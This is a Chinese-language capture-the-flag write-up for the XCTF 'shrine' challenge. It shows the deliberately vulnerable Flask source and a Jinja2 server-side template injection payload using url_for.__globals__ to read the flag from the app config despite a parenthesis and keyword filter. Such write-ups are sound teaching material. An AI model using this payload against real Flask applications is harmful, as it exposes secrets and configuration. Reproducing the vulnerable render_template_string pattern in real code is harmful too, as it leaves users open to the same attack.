xctf-shrine
题目简介
一道Flask模板注入题
题目分析
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
#过滤了()
s = s.replace('(', '').replace(')', '')
#黑名单设置了config,self
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
首先看源代码发现,源码中使用了flask.render_template_string()这个函数,猜测这题是使用ssti漏洞去解的。
有关ssti漏洞的详细内容参考这位师傅写的文章:https://www.cnblogs.com/bmjoker/p/13508538.html
Jinja2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的
Jinja2是Flask框架的一部分。Jinja2会把模板参数提供的相应的值替换了 {{…}} 块
Jinja2使用 {{name}}结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取
本题的主要目标是获取到第四行的os.environ.pop('FLAG')
解题方法
payload:
http://111.200.241.244:58074/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
url_for()会根据传入的路由器函数名,返回该路由对应的URL,本题绕过限制的方式是使用使用url_for()函数获取全局变量得到config['Flag']进而得到flag

参考链接
ssti详解:https://www.cnblogs.com/bmjoker/p/13508538.html
ctf ssti常用payload:https://blog.csdn.net/qq_33020901/article/details/83036927

浙公网安备 33010602011771号